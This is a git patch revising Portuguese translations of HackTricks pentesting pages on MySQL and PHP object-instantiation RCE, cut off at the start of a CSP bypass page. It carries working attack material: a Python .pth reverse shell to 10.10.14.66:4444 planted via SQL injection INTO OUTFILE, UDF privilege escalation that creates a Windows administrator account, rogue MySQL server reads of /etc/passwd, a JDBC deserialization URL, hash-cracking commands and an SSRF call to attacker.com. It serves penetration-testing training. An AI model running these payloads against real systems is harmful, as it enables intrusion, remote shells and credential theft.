From 2ae55a639e1477628edb67164e45e0fa3469574e Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 19:09:02 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/network --- .../pentesting-mysql.md | 152 ++++---- ...object-creation-new-usd_get-a-usd_get-b.md | 70 ++-- .../README.md | 362 +++++++++--------- src/pentesting-web/file-inclusion/README.md | 271 ++++++------- .../file-inclusion/lfi2rce-via-php-filters.md | 34 +- src/pentesting-web/file-upload/README.md | 238 ++++++------ 6 files changed, 592 insertions(+), 535 deletions(-) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 9cb8c6da1..dc4f68dbc 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,13 +4,13 @@ ## **Informações Básicas** -**MySQL** pode ser descrito como um **Sistema de Gerenciamento de Banco de Dados Relacional (RDBMS)** de código aberto que está disponível sem custo. Ele opera na **Linguagem de Consulta Estruturada (SQL)**, permitindo o gerenciamento e a manipulação de bancos de dados. +**MySQL** pode ser descrito como um **Relational Database Management System (RDBMS)** de código aberto disponível gratuitamente. Ele usa **Structured Query Language (SQL)**, permitindo o gerenciamento e manipulação de bancos de dados. **Porta padrão:** 3306 ``` 3306/tcp open mysql ``` -## **Conectar** +## **Conexão** ### **Local** ```bash @@ -24,7 +24,7 @@ mysql -h -u root@localhost ``` ## Enumeração Externa -Algumas das ações de enumeração requerem credenciais válidas. +Algumas das ações de enumeração requerem credenciais válidas ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -34,9 +34,9 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` -### [**Força bruta**](../generic-hacking/brute-force.md#mysql) +### [**Brute force**](../generic-hacking/brute-force.md#mysql) -### Escreva qualquer dado binário +### Escrever quaisquer dados binários ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### Enumeração de Permissões MySQL +### MySQL Permissions Enumeration ```sql #Mysql SHOW GRANTS [FOR user]; @@ -110,35 +110,35 @@ Você pode ver na documentação o significado de cada privilégio: [https://dev ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Python `.pth` RCE (ganchos de configuração específicos do site) +#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks) -Abusando do clássico `INTO OUTFILE`, é possível obter *execução de código arbitrário* em alvos que posteriormente executam scripts **Python**. +Abusando da clássica `INTO OUTFILE` primitiva é possível obter *execução arbitrária de código* em alvos que executam posteriormente scripts em **Python**. -1. Use `INTO OUTFILE` para criar um arquivo **`.pth`** personalizado dentro de qualquer diretório carregado automaticamente por `site.py` (por exemplo, `.../lib/python3.10/site-packages/`). -2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código Python arbitrário que será executado toda vez que o interpretador iniciar. -3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo, `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`), a carga útil é executada com os mesmos privilégios que o processo do servidor web (FortiWeb o executou como **root** → RCE total pré-autenticação). +1. Use `INTO OUTFILE` para gravar um arquivo **`.pth`** personalizado em qualquer diretório carregado automaticamente por `site.py` (por exemplo `.../lib/python3.10/site-packages/`). +2. O arquivo `.pth` pode conter uma *única linha* começando com `import ` seguida de código arbitrário em Python que será executado toda vez que o interpretador iniciar. +3. Quando o interpretador é executado implicitamente por um script CGI (por exemplo `/cgi-bin/ml-draw.py` com shebang `#!/bin/python`) o payload é executado com os mesmos privilégios do processo do servidor web (FortiWeb o executou como **root** → full pre-auth RCE). -Exemplo de carga útil `.pth` (linha única, nenhum espaço pode ser incluído na carga útil SQL final, então hex/`UNHEX()` ou concatenação de strings pode ser necessário): +Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Exemplo de criação do arquivo através de uma **UNION** query (caracteres de espaço substituídos por `/**/` para contornar um filtro de espaço `sscanf("%128s")` e manter o comprimento total ≤128 bytes): +Exemplo de criação do arquivo através de uma consulta **UNION** (caracteres de espaço substituídos por `/**/` para contornar um filtro de espaços `sscanf("%128s")` e manter o tamanho total ≤128 bytes): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` -Importantes limitações e contornos: +Limitações importantes & bypasses: * `INTO OUTFILE` **não pode sobrescrever** arquivos existentes; escolha um novo nome de arquivo. -* O caminho do arquivo é resolvido **relativo ao CWD do MySQL**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto. -* Se a entrada do atacante for extraída com `%128s` (ou similar), qualquer espaço truncará a carga útil; use sequências de comentários do MySQL `/**/` ou `/*!*/` para substituir espaços. -* O usuário do MySQL que executa a consulta precisa do privilégio `FILE`, mas em muitos dispositivos (por exemplo, FortiWeb) o serviço é executado como **root**, dando acesso de gravação quase em todos os lugares. +* O caminho do arquivo é resolvido **relativamente ao CWD do MySQL**, então prefixar com `../../` ajuda a encurtar o caminho e contornar restrições de caminho absoluto. +* Se a entrada do atacante for extraída com `%128s` (ou similar) qualquer espaço truncará o payload; use sequências de comentário do MySQL `/**/` ou `/*!*/` para substituir espaços. +* O usuário MySQL que executa a query precisa do privilégio `FILE`, mas em muitos appliances (e.g. FortiWeb) o serviço roda como **root**, dando acesso de escrita quase em qualquer lugar. -Após remover o `.pth`, simplesmente solicite qualquer CGI tratado pelo interpretador python para obter execução de código: +Após escrever o `.pth`, basta requisitar qualquer CGI tratado pelo python interpreter para obter execução de código: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -O processo Python importará o `.pth` malicioso automaticamente e executará a carga útil do shell. +O processo Python importará automaticamente o `.pth` malicioso e executará o shell payload. ``` # Attacker $ nc -lvnp 4444 @@ -147,49 +147,47 @@ uid=0(root) gid=0(root) groups=0(root) ``` --- -## Leitura arbitrária de arquivo MySQL pelo cliente +## MySQL leitura arbitrária de arquivo pelo client -Na verdade, quando você tenta **carregar dados locais em uma tabela** o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede ao **cliente para lê-lo** e enviar o conteúdo. **Então, se você conseguir manipular um cliente MySQL para se conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\ -Por favor, note que este é o comportamento usando: +Na prática, quando você tenta **load data local into a table** com o **conteúdo de um arquivo**, o servidor MySQL ou MariaDB pede que o **client leia o arquivo** e envie o conteúdo. **Então, se você conseguir manipular um mysql client para conectar ao seu próprio servidor MySQL, você pode ler arquivos arbitrários.**\ +Observe que este é o comportamento ao usar: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Observe a palavra "local")\ +(Repare na palavra "local")\ Porque sem o "local" você pode obter: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` -**PoC Inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**Neste artigo você pode ver uma descrição completa do ataque e até mesmo como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**PoC inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ +**Neste artigo você pode ver uma descrição completa do ataque e até como estendê-lo para RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Aqui você pode encontrar uma visão geral do ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) -​ - - + ## POST ### Usuário Mysql -Será muito interessante se o mysql estiver rodando como **root**: +Será muito interessante se mysql estiver rodando como **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### Configurações Perigosas do mysqld.cnf -Na configuração dos serviços MySQL, várias configurações são empregadas para definir sua operação e medidas de segurança: +Na configuração dos serviços MySQL, várias opções são usadas para definir seu funcionamento e medidas de segurança: - A configuração **`user`** é utilizada para designar o usuário sob o qual o serviço MySQL será executado. -- **`password`** é aplicada para estabelecer a senha associada ao usuário MySQL. +- **`password`** é usada para estabelecer a senha associada ao usuário MySQL. - **`admin_address`** especifica o endereço IP que escuta conexões TCP/IP na interface de rede administrativa. -- A variável **`debug`** é indicativa das configurações de depuração atuais, incluindo informações sensíveis dentro dos logs. -- **`sql_warnings`** gerencia se strings de informação são geradas para instruções INSERT de uma única linha quando surgem avisos, contendo dados sensíveis dentro dos logs. +- A variável **`debug`** indica as configurações de debug atuais, incluindo informações sensíveis nos logs. +- **`sql_warnings`** controla se mensagens informativas são geradas para instruções INSERT de uma única linha quando surgem avisos, possivelmente contendo dados sensíveis nos logs. - Com **`secure_file_priv`**, o escopo das operações de importação e exportação de dados é restrito para aumentar a segurança. -### Escalada de privilégios +### Privilege escalation ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -207,13 +205,13 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` -### Escalada de Privilégios via biblioteca +### Escalada de privilégios via biblioteca -Se o **servidor mysql estiver rodando como root** (ou um usuário mais privilegiado diferente), você pode fazer com que ele execute comandos. Para isso, você precisa usar **funções definidas pelo usuário**. E para criar uma função definida pelo usuário, você precisará de uma **biblioteca** para o sistema operacional que está executando o mysql. +Se o **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **biblioteca** para o OS que está executando o mysql. -A biblioteca maliciosa a ser usada pode ser encontrada dentro do sqlmap e dentro do metasploit fazendo **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são os de **Windows**, escolha o que você precisa. +A biblioteca maliciosa a usar pode ser encontrada dentro do sqlmap e dentro do metasploit executando **`locate "*lib_mysqludf_sys*"`**. Os arquivos **`.so`** são bibliotecas **linux** e os **`.dll`** são as do **Windows**, escolha a que você precisa. -Se você **não tiver** essas bibliotecas, você pode **procurá-las**, ou baixar este [**código C para linux**](https://www.exploit-db.com/exploits/1518) e **compilá-lo dentro da máquina vulnerável linux**: +Se você **não tem** essas bibliotecas, pode **procurá-las**, ou baixar este [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilar no linux da máquina vulnerável**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc @@ -252,29 +250,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` +#### Dica do Windows: criar diretórios com NTFS ADS a partir de SQL + +No NTFS você pode forçar a criação de diretórios usando um alternate data stream mesmo quando somente existe um file write primitive. Se a clássica UDF chain espera um diretório `plugin` mas ele não existe e `@@plugin_dir` é desconhecido ou bloqueado, você pode criá-lo primeiro com `::$INDEX_ALLOCATION`: +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` +Isso transforma o limitado `SELECT ... INTO OUTFILE` em um primitivo mais completo em stacks Windows ao criar a estrutura de pastas necessária para UDF drops. + ### Extraindo credenciais MySQL de arquivos -Dentro de _/etc/mysql/debian.cnf_ você pode encontrar a **senha em texto simples** do usuário **debian-sys-maint** +Dentro de _/etc/mysql/debian.cnf_ você pode encontrar a **senha em texto claro** do usuário **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` Você pode **usar essas credenciais para fazer login no banco de dados mysql**. -Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários do MySQL** (aqueles que você pode extrair de mysql.user dentro do banco de dados)_._ +Dentro do arquivo: _/var/lib/mysql/mysql/user.MYD_ você pode encontrar **todos os hashes dos usuários MySQL** (os que você pode extrair de mysql.user dentro do banco de dados). Você pode extraí-los fazendo: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` -### Habilitando o registro +### Habilitando logging -Você pode habilitar o registro de consultas mysql dentro de `/etc/mysql/my.cnf` descomentando as seguintes linhas: +Você pode habilitar o registro de queries do mysql em `/etc/mysql/my.cnf` descomentando as seguintes linhas: ![](<../images/image (899).png>) ### Arquivos úteis -Arquivos de Configuração +Configuration Files - windows \* - config.ini @@ -289,14 +296,14 @@ Arquivos de Configuração - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Histórico de Comandos +- Command History - \~/.mysql.history -- Arquivos de Log +- Log Files - connections.log - update.log - common.log -## Banco de Dados/Tabelas MySQL Padrão +## Banco de Dados/Tabelas padrão do MySQL {{#tabs}} {{#tab name="information_schema"}} @@ -607,7 +614,7 @@ x$user\_summary\_by\_file\_io\ x$user_summary_by_file_io_type\ x$user\_summary\_by\_stages\ x$user_summary_by_statement_latency\ -x$user\_summary\_by\_statement\_type\ +x$user\_summary_by_statement\_type\ x$wait_classes_global_by_avg_latency\ x$wait\_classes\_global\_by\_latency\ x$waits_by_host_by_latency\ @@ -616,7 +623,7 @@ x$waits_global_by_latency {{#endtab}} {{#endtabs}} -## Comandos Automáticos HackTricks +## Comandos automáticos do HackTricks ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. @@ -649,34 +656,34 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS ``` ## 2023-2025 Destaques (novo) -### JDBC `propertiesTransform` desserialização (CVE-2023-21971) -A partir do Connector/J <= 8.0.32, um atacante que pode influenciar a **JDBC URL** (por exemplo, em software de terceiros que solicita uma string de conexão) pode solicitar que classes arbitrárias sejam carregadas no lado do *cliente* via o parâmetro `propertiesTransform`. Se um gadget presente no class-path for carregável, isso resulta em **execução remota de código no contexto do cliente JDBC** (pré-autenticação, porque nenhuma credencial válida é necessária). Um PoC mínimo se parece com: +### JDBC `propertiesTransform` deserialization (CVE-2023-21971) +A partir do Connector/J <= 8.0.32, um atacante que consiga influenciar a **JDBC URL** (por exemplo em software de terceiros que solicita uma string de conexão) pode requisitar que classes arbitrárias sejam carregadas no lado do *client* através do parâmetro `propertiesTransform`. Se um gadget presente no class-path puder ser carregado, isso resulta em **remote code execution in the context of the JDBC client** (pre-auth, porque não são necessárias credenciais válidas). Um PoC mínimo fica assim: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Executar `Evil.class` pode ser tão fácil quanto produzi-lo no class-path da aplicação vulnerável ou deixar um servidor MySQL malicioso enviar um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou defina explicitamente `propertiesTransform` em uma lista de permissão. -(Consulte o artigo da Snyk para detalhes) +Executar `Evil.class` pode ser tão simples quanto colocá-lo no class-path da aplicação vulnerável ou permitir que um servidor MySQL rogue envie um objeto serializado malicioso. O problema foi corrigido no Connector/J 8.0.33 – atualize o driver ou defina explicitamente `propertiesTransform` em uma allow-list. +(Veja o write-up da Snyk para detalhes) -### Ataques de servidor MySQL falso / rogue contra clientes JDBC -Várias ferramentas de código aberto implementam um protocolo MySQL *parcial* para atacar clientes JDBC que se conectam externamente: +### Ataques de servidores MySQL rogue/fake contra clientes JDBC +Várias ferramentas open-source implementam um protocolo MySQL *parcial* para atacar clientes JDBC que fazem conexões externas: -* **mysql-fake-server** (Java, suporta exploits de leitura de arquivo e deserialização) -* **rogue_mysql_server** (Python, capacidades semelhantes) +* **mysql-fake-server** (Java, suporta leitura de arquivo e exploits de desserialização) +* **rogue_mysql_server** (Python, capacidades similares) Caminhos de ataque típicos: 1. A aplicação vítima carrega `mysql-connector-j` com `allowLoadLocalInfile=true` ou `autoDeserialize=true`. -2. O atacante controla a entrada DNS / host para que o nome do host do DB resolva para uma máquina sob seu controle. -3. O servidor malicioso responde com pacotes elaborados que acionam a leitura arbitrária de arquivos `LOCAL INFILE` ou deserialização Java → RCE. +2. O atacante controla DNS / entradas de host de modo que o hostname do DB resolva para uma máquina sob seu controle. +3. O servidor malicioso responde com pacotes forjados que acionam `LOCAL INFILE` para leitura arbitrária de arquivos ou desserialização Java → RCE. -Exemplo de linha de comando para iniciar um servidor falso (Java): +Exemplo de one-liner para iniciar um servidor fake (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Então aponte a aplicação vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo como base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Então aponte a aplicação vítima para `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leia `/etc/passwd` codificando o nome do arquivo em base64 no campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). -### Quebrando hashes `caching_sha2_password` -MySQL ≥ 8.0 armazena hashes de senha como **`$mysql-sha2$`** (SHA-256). Tanto Hashcat (modo **21100**) quanto John-the-Ripper (`--format=mysql-sha2`) suportam quebra offline desde 2023. Exporte a coluna `authentication_string` e forneça-a diretamente: +### Cracking `caching_sha2_password` hashes +MySQL ≥ 8.0 armazena hashes de senha como **`$mysql-sha2$`** (SHA-256). Ambos Hashcat (mode **21100**) e John-the-Ripper (`--format=mysql-sha2`) suportam offline cracking desde 2023. Extraia a coluna `authentication_string` e alimente-a diretamente: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -685,20 +692,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### Lista de verificação de endurecimento (2025) -• Defina **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** para eliminar a maioria das primitivas de leitura/gravação de arquivos. -• Remova o privilégio **`FILE`** das contas de aplicativo. -• No Connector/J, defina `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio). +### Checklist de hardening (2025) +• Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** para eliminar a maioria das primitivas de leitura/escrita de arquivo. +• Remova o privilégio **`FILE`** das contas de aplicação. +• No Connector/J configure `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vazio). • Desative plugins de autenticação não utilizados e **exija TLS** (`require_secure_transport = ON`). -• Monitore por declarações `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e declarações `SET GLOBAL` súbitas. +• Monitore por `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e por comandos `SET GLOBAL` súbitos. --- ## Referências -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) -- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) -- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 29e63fe77..8bc483dfd 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,16 +1,16 @@ -# PHP - RCE abusando da criação de objetos: new $\_GET\["a"]\($\_GET\["b"]) +# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} -Este é basicamente um resumo de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +Isto é basicamente um resumo de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Introdução -A criação de novos objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar à Execução Remota de Código (RCE), conforme detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE. +A criação de objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar a Remote Code Execution (RCE), conforme detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE. ## RCE via Classes Personalizadas ou Autoloading -A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado para o construtor. Essas variáveis podem ser obtidas de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem se apresentar como outros tipos. +A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado ao construtor. Essas variáveis podem ser originadas de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem aparecer como outros tipos. Considere o trecho de código abaixo: ```php @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -Neste caso, definir `$a` como `App` ou `App2` e `$b` como um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando. +Neste caso, definir `$a` para `App` ou `App2` e `$b` para um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando. -**Funções de Autoloading** podem ser exploradas se nenhuma dessas classes estiver acessível diretamente. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`: +**Funções de carregamento automático** podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,27 +45,27 @@ include $class_name . '.php'; spl_autoload_register(); ``` -O comportamento do autoloading varia com as versões do PHP, oferecendo diferentes possibilidades de RCE. +O comportamento do autoloading varia entre versões do PHP, oferecendo diferentes possibilidades de RCE. -## RCE via Classes Integradas +## RCE via Classes integradas -Na falta de classes ou autoloaders personalizados, **classes integradas do PHP** podem ser suficientes para RCE. O número dessas classes varia entre 100 a 200, com base na versão do PHP e nas extensões. Elas podem ser listadas usando `get_declared_classes()`. +Na ausência de classes customizadas ou autoloaders, **built-in PHP classes** podem ser suficientes para RCE. O número dessas classes varia entre 100 e 200, dependendo da versão do PHP e das extensões. Elas podem ser listadas usando `get_declared_classes()`. -Construtores de interesse podem ser identificados através da API de reflexão, como mostrado no exemplo a seguir e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +Construtores de interesse podem ser identificados através da Reflection API, como mostrado no exemplo a seguir e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**RCE via métodos específicos inclui:** +**RCE via specific methods includes:** -### **SSRF + Deserialização de Phar** +### **SSRF + Phar Deserialization** -A classe `SplFileObject` permite SSRF através de seu construtor, permitindo conexões a qualquer URL: +A classe `SplFileObject` possibilita SSRF através de seu construtor, permitindo conexões a qualquer URL: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF pode levar a ataques de desserialização em versões do PHP anteriores a 8.0 usando o protocolo Phar. +SSRF pode levar a ataques de desserialização em versões do PHP anteriores à 8.0 usando o protocolo Phar. ### **Explorando PDOs** -O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente permitindo a criação de arquivos ou outras interações: +O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente possibilitando a criação de arquivos ou outras interações: ```php new PDO("sqlite:/tmp/test.txt") ``` @@ -75,22 +75,46 @@ Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através do ## RCE via Extensão Imagick -Na análise das **dependências de um projeto**, foi descoberto que **Imagick** poderia ser utilizado para **execução de comandos** ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades. +Na análise das **dependências do projeto**, descobriu-se que **Imagick** poderia ser aproveitado para **execução de comandos** ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades. -### Parser VID +### VID parser -A capacidade do parser VID de escrever conteúdo em qualquer caminho especificado no sistema de arquivos foi identificada. Isso poderia levar à colocação de um shell PHP em um diretório acessível pela web, alcançando Execução Remota de Código (RCE). +Foi identificada a capacidade do parser VID de gravar conteúdo em qualquer caminho especificado no sistema de arquivos. Isso pode levar à colocação de um shell PHP em um diretório acessível via web, alcançando Remote Code Execution (RCE). -#### Parser VID + Upload de Arquivo +#### VID Parser + Upload de Arquivo -Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode lidar com curingas em caminhos de arquivos, facilitando a transferência do arquivo temporário para um local escolhido. Este método oferece uma abordagem adicional para alcançar a escrita arbitrária de arquivos dentro do sistema de arquivos. +Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode tratar curingas em caminhos de arquivo, facilitando a transferência do arquivo temporário para um local escolhido. Esse método oferece uma abordagem adicional para gravar arquivos arbitrários no sistema de arquivos. -### Crash do PHP + Força Bruta +### PHP Crash + Brute Force -Um método descrito no [**escrito original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve o upload de arquivos que provocam uma falha no servidor antes da exclusão. Ao forçar o nome do arquivo temporário, torna-se possível para o Imagick executar código PHP arbitrário. No entanto, essa técnica foi encontrada como eficaz apenas em uma versão desatualizada do ImageMagick. +Um método descrito no [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve o upload de arquivos que causam um crash do servidor antes da exclusão. Ao brute-forcear o nome do arquivo temporário, torna-se possível que o Imagick execute código PHP arbitrário. Contudo, essa técnica foi eficaz apenas em uma versão desatualizada do ImageMagick. -## Referências +## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) + +Quando a entrada do usuário controla o nome da classe (p.ex., `new $_GET['model']()`), o PHP 7.0.0 introduziu um bug transitório durante o refactor do `Throwable` onde o engine tratava erroneamente o nome da classe como uma string de formato do printf durante a resolução. Isso habilita primitivas clássicas do estilo printf dentro do PHP: leaks com `%p`, controle de contagem de escrita com especificadores de largura, e escritas arbitrárias com `%n` contra ponteiros em processo (por exemplo, entradas GOT em builds ELF). + +Padrão mínimo de reprodução vulnerável: +```php +d%$n` para provocar a sobrescrição parcial. + +## References - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index ff9751027..da3066944 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,31 +1,31 